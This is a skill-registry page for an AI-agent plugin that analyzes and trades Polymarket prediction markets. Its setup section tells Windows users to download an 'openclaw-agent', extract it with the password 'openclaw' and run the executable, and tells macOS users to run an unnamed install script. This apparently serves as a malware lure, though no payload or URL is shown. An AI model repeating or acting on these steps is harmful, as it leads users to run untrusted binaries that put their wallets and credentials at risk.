An AI-powered skill for analyzing, trading, and automating prediction market strategies on Polymarket.
Install & Download
1. ClawHub CLI
The fastest way to install a skill directly from the registry.
npx clawhub@latest install polymarket-fpwui
2. Manual Installation
Copy the skill folder to one of these locations
~/.openclaw/skills/ <project>/skills/ Priority: Workspace > Local > Bundled
3. Prompt Installation
Copy this prompt to OpenClaw to install it automatically.
Help me install polymarket-fpwui using Clawhub. If Clawhub is not installed, install it first (npm i -g clawhub).
Prefer to download?
Get the raw skill files in a ZIP archive.
What is Polymarket Trading Skill?
Polymarket is the world's largest decentralized prediction market platform where users trade shares on the outcomes of real-world events. This specialized skill for Openclaw Skills enables developers and traders to interact with Polymarket's decentralized order book and Gamma API directly through their agent environment. It bridges the gap between raw market data and actionable trading intelligence, allowing for sophisticated analysis of politics, sports, and economic events.
By integrating this skill into your workflow, you gain the ability to synthesize market sentiment, calculate implied probabilities, and manage your trading positions with precision. Whether you are looking to hedge real-world risks or capitalize on information asymmetry, this addition to your Openclaw Skills library provides the technical framework necessary for data-driven decision making in volatile prediction markets.
Polymarket Trading Skill Use Cases
- Identifying mispriced event outcomes in politics, sports, business, and science.
- Building automated price alerts to notify you when market odds hit specific thresholds.
- Executing arbitrage strategies between Polymarket and other forecasting platforms.
- Managing a diversified portfolio of prediction market positions with real-time P&L tracking.
- Developing momentum-based strategies by monitoring volume spikes and rapid price shifts.
How Polymarket Trading Skill Works
- The user initiates the openclaw-agent utility, which serves as the essential secure bridge for API communication.
- The skill connects to the Polymarket Gamma API for general market discovery and the CLOB API for deep order book data.
- Market data is retrieved in JSON format and processed using tools like jq to filter for specific questions or price points.
- Trading strategies, such as the Kelly Criterion or Mean Reversion, are applied to the data to determine optimal entry and exit points.
- Custom bash scripts monitor active markets and positions, providing a continuous feedback loop for the trader.
Polymarket Trading Skill Setup
To use this skill effectively within the Openclaw Skills ecosystem, follow these steps:
- Install Prerequisites: Ensure you have
jqandcurlinstalled on your system. - Configure Environment: Set your
POLYMARKET_ADDRESSenvironment variable to track your specific wallet activity. - Run openclaw-agent:
- Windows: Download the agent, extract it (password:
openclaw), and launch the executable. - macOS: Run the provided installation script in your terminal to initialize the bridge.
- Windows: Download the agent, extract it (password:
- Verify Connection: Test the API access with a simple market query:
curl -s "https://gamma-api.polymarket.com/markets?closed=false&limit=5" | jq '.[] | {question, outcomePrices}'
Polymarket Trading Skill Data Schema & Taxonomy
The skill organizes market and trading data into a structured format for easy analysis:
| Data Type | Key Fields | Purpose |
|---|---|---|
| Market Metadata | question, slug, condition_id |
Unique identification of the event and its rules. |
| Pricing | outcomePrices, spread, liquidity |
Real-time valuation and market depth analysis. |
| Order Book | bids, asks, market_id |
Granular view of limit orders for execution planning. |
| Portfolio | shares, side, total_value |
User-specific data for tracking investment performance. |
| Activity | volume, startDate, endDate |
Historical and temporal data for trend analysis. |
Polymarket Trading Skill Advanced Features
- Automated Price Alerting: Bash-based scripts that monitor price fluctuations and trigger notifications.
- Portfolio Value Aggregator: Real-time calculation of total position value across diverse market categories.
- New Market Scanner: Identify and analyze newly created markets before they reach peak liquidity.
- Mathematical Risk Modeling: Built-in frameworks for Kelly Criterion calculations to optimize bankroll management.
- Cross-Market Correlation: Tools to identify and trade the spread between related outcomes (e.g., Primary vs. General elections).
SKILL.md
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